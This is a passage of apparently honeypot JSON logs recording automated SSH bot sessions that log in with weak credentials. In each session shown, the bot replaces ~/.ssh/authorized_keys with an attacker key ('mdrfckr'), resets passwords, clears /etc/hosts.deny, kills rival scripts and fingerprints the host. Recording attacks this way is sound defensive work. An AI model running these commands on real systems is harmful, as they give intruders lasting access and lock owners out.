-l"},{"seq":22,"at":"2026-08-27T11:17:45.795053+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":23,"at":"2026-08-27T11:17:46.070072+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":24,"at":"2026-08-27T11:17:47.768510+00:00","kind":"output","latency_ms":null,"data":"top - 11:17:47 up 7 days, 8:07, 0 user, load average: 0.3, 0.31, 0.2\nTasks: 115 total, 1 running, 114 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 8261 free, 7626 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":25,"at":"2026-08-27T11:17:48.047297+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":26,"at":"2026-08-27T11:17:49.816319+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":27,"at":"2026-08-27T11:17:50.095372+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":28,"at":"2026-08-27T11:17:51.173216+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":29,"at":"2026-08-27T11:17:51.447998+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":30,"at":"2026-08-27T11:17:53.457992+00:00","kind":"output","latency_ms":null,"data":"cri"},{"seq":31,"at":"2026-08-27T11:17:53.733501+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":32,"at":"2026-08-27T11:17:54.804470+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":33,"at":"2026-08-27T11:17:55.069842+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":34,"at":"2026-08-27T11:17:56.909824+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"cri","password":"cri","method":"password","accepted":true,"tier":"other"}]} {"id":"bb6850c9-3610-49ea-a531-8970c147c7ab","name":"foggy-alpine-lark","protocol":"ssh","channel_kind":"exec","src_ip":"202.155.157.112","src_port":37220,"username":"sftpuser","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":747,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T11:17:14.435360+00:00","ended_at":"2026-08-27T11:17:15.792348+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2134,"events":[{"seq":1,"at":"2026-08-27T11:16:47.793517+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T11:16:48.533446+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T11:16:54.733710+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T11:16:55.139172+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T11:16:55.882889+00:00","kind":"input","latency_ms":null,"data":"echo -e \"123456\\nJIYFIKzGnE5k\\nJIYFIKzGnE5k\"|passwd|bash"},{"seq":6,"at":"2026-08-27T11:16:56.624389+00:00","kind":"input","latency_ms":null,"data":"echo \"123456\\nJIYFIKzGnE5k\\nJIYFIKzGnE5k\\n\"|passwd"},{"seq":7,"at":"2026-08-27T11:16:57.365243+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T11:16:58.022968+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T11:16:58.766327+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T11:16:59.980494+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T11:17:00.724868+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T11:17:01.476142+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T11:17:02.230773+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T11:17:03.048436+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T11:17:03.797104+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T11:17:04.559157+00:00","kind":"output","latency_ms":null,"data":" 11:17:04 up 7 days, 8:07, 0 user, load average: 0.25, 0.29, 0.21\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T11:17:05.320485+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T11:17:06.155851+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T11:17:06.902830+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T11:17:07.250227+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T11:17:07.999805+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T11:17:08.365723+00:00","kind":"output","latency_ms":null,"data":"top - 11:17:08 up 7 days, 8:07, 0 user, load average: 0.25, 0.29, 0.21\nTasks: 116 total, 1 running, 115 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 6990 free, 8897 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T11:17:09.122685+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T11:17:09.720581+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T11:17:10.467423+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T11:17:10.773179+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T11:17:11.516584+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T11:17:12.081017+00:00","kind":"output","latency_ms":null,"data":"sftpuser"},{"seq":29,"at":"2026-08-27T11:17:12.833481+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T11:17:13.692706+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T11:17:14.436114+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T11:17:15.556641+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"sftpuser","password":"123456","method":"password","accepted":true,"tier":"other"}]} {"id":"8b27942d-0dcd-45e3-a7e8-f4ed857f93af","name":"indigo-lunar-capuchin","protocol":"ssh","channel_kind":"exec","src_ip":"51.255.195.46","src_port":41584,"username":"internet","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":263,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T11:15:51.417278+00:00","ended_at":"2026-08-27T11:15:52.767016+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2134,"events":[{"seq":1,"at":"2026-08-27T11:15:22.421823+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T11:15:22.673108+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T11:15:26.192961+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T11:15:27.779278+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T11:15:28.043419+00:00","kind":"input","latency_ms":null,"data":"echo -e \"123456\\n4bXhbPyooCyJ\\n4bXhbPyooCyJ\"|passwd|bash"},{"seq":6,"at":"2026-08-27T11:15:28.306852+00:00","kind":"input","latency_ms":null,"data":"echo \"123456\\n4bXhbPyooCyJ\\n4bXhbPyooCyJ\\n\"|passwd"},{"seq":7,"at":"2026-08-27T11:15:28.573095+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T11:15:29.689589+00:00","kind":"output","latency_ms":null,"data":""},{"seq":9,"at":"2026-08-27T11:15:29.995725+00:00","kind":"output","latency_ms":null,"data":""},{"seq":10,"at":"2026-08-27T11:15:30.452508+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":11,"at":"2026-08-27T11:15:30.716264+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":12,"at":"2026-08-27T11:15:32.751274+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T11:15:33.019268+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":14,"at":"2026-08-27T11:15:34.276401+00:00","kind":"output","latency_ms":null,"data":""},{"seq":15,"at":"2026-08-27T11:15:34.543627+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":16,"at":"2026-08-27T11:15:36.059926+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":17,"at":"2026-08-27T11:15:36.334055+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":18,"at":"2026-08-27T11:15:38.133285+00:00","kind":"output","latency_ms":null,"data":" 11:15:38 up 7 days, 8:05, 0 user, load average: 0.25, 0.21, 0.17\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":19,"at":"2026-08-27T11:15:38.396428+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":20,"at":"2026-08-27T11:15:40.002546+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":21,"at":"2026-08-27T11:15:40.267495+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":22,"at":"2026-08-27T11:15:41.901829+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":23,"at":"2026-08-27T11:15:42.159154+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":24,"at":"2026-08-27T11:15:43.974084+00:00","kind":"output","latency_ms":null,"data":"top - 11:15:43 up 7 days, 8:05, 0 user, load average: 0.25, 0.21, 0.17\nTasks: 125 total, 1 running, 124 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 8579 free, 7308 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":25,"at":"2026-08-27T11:15:44.238938+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":26,"at":"2026-08-27T11:15:45.065077+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":27,"at":"2026-08-27T11:15:45.329225+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":28,"at":"2026-08-27T11:15:47.112694+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":29,"at":"2026-08-27T11:15:47.376488+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":30,"at":"2026-08-27T11:15:48.689899+00:00","kind":"output","latency_ms":null,"data":"internet"},{"seq":31,"at":"2026-08-27T11:15:48.952907+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":32,"at":"2026-08-27T11:15:51.155558+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":33,"at":"2026-08-27T11:15:51.418154+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":34,"at":"2026-08-27T11:15:52.691001+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"internet","password":"123456","method":"password","accepted":true,"tier":"other"}]} {"id":"08395037-5832-4e3f-ac30-55c5752178df","name":"glacial-arctic-dunlin","protocol":"ssh","channel_kind":"exec","src_ip":"187.111.28.131","src_port":58916,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":454,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T11:15:26.463226+00:00","ended_at":"2026-08-27T11:15:27.965331+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2183,"events":[{"seq":1,"at":"2026-08-27T11:15:05.239578+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T11:15:05.692369+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T11:15:10.004335+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T11:15:10.898402+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T11:15:11.352475+00:00","kind":"input","latency_ms":null,"data":"echo \"root:HOiPOoi3ysmn\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T11:15:11.805576+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T11:15:12.259022+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T11:15:12.579343+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T11:15:13.034283+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T11:15:14.088129+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T11:15:14.544547+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T11:15:15.857945+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T11:15:16.313370+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T11:15:16.905718+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T11:15:17.374826+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T11:15:17.726733+00:00","kind":"output","latency_ms":null,"data":" 11:15:17 up 7 days, 8:05, 0 user, load average: 0.25, 0.24, 0.26\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T11:15:18.180611+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T11:15:18.433297+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T11:15:18.884762+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T11:15:19.388176+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T11:15:19.844224+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T11:15:20.717186+00:00","kind":"output","latency_ms":null,"data":"top - 11:15:20 up 7 days, 8:05, 0 user, load average: 0.25, 0.24, 0.26\nTasks: 126 total, 1 running, 125 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 9215 free, 6672 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T11:15:21.173668+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T11:15:21.671916+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T11:15:22.124653+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T11:15:23.006505+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T11:15:23.460701+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T11:15:24.173554+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-27T11:15:24.629427+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T11:15:26.010698+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T11:15:26.464221+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T11:15:27.825758+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"didi123","method":"password","accepted":true,"tier":"other"}]} {"id":"ae0985ff-60a2-4fe7-9505-b9d26e2b9f6a","name":"orderly-lanky-panther","protocol":"ssh","channel_kind":"exec","src_ip":"202.155.157.112","src_port":43652,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":755,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T11:14:14.600211+00:00","ended_at":"2026-08-27T11:14:15.820123+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2172,"events":[{"seq":1,"at":"2026-08-27T11:13:45.660078+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T11:13:46.428667+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T11:13:53.365701+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T11:13:53.960155+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T11:13:54.733288+00:00","kind":"input","latency_ms":null,"data":"echo \"root:RnEUukSTIN1u\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T11:13:55.487392+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T11:13:56.242177+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T11:13:56.868714+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T11:13:57.628580+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T11:13:59.025220+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T11:13:59.783619+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T11:14:00.921101+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T11:14:01.676023+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T11:14:02.499199+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T11:14:03.253854+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T11:14:04.055303+00:00","kind":"output","latency_ms":null,"data":" 11:14:04 up 7 days, 8:04, 0 user, load average: 0.28, 0.22, 0.25\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T11:14:04.809229+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T11:14:05.346398+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T11:14:06.100700+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T11:14:06.771877+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T11:14:07.532300+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T11:14:08.248602+00:00","kind":"output","latency_ms":null,"data":"top - 11:14:08 up 7 days, 8:04, 0 user, load average: 0.28, 0.22, 0.25\nTasks: 107 total, 1 running, 106 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 9215 free, 6672 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T11:14:09.051873+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T11:14:09.716167+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T11:14:10.475821+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T11:14:10.736892+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T11:14:11.491474+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T11:14:11.929643+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-27T11:14:12.686401+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T11:14:13.846246+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T11:14:14.601342+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T11:14:15.579339+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"qwerty121","method":"password","accepted":true,"tier":"other"}]} {"id":"2e967db4-e8dc-48f0-bae9-84ed39ef9def","name":"painted-wry-egret","protocol":"ssh","channel_kind":"exec","src_ip":"51.255.195.46","src_port":55470,"username":"soporte","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":265,"probe_flagged":0,"exec_command":"cd ~; chattr -ia 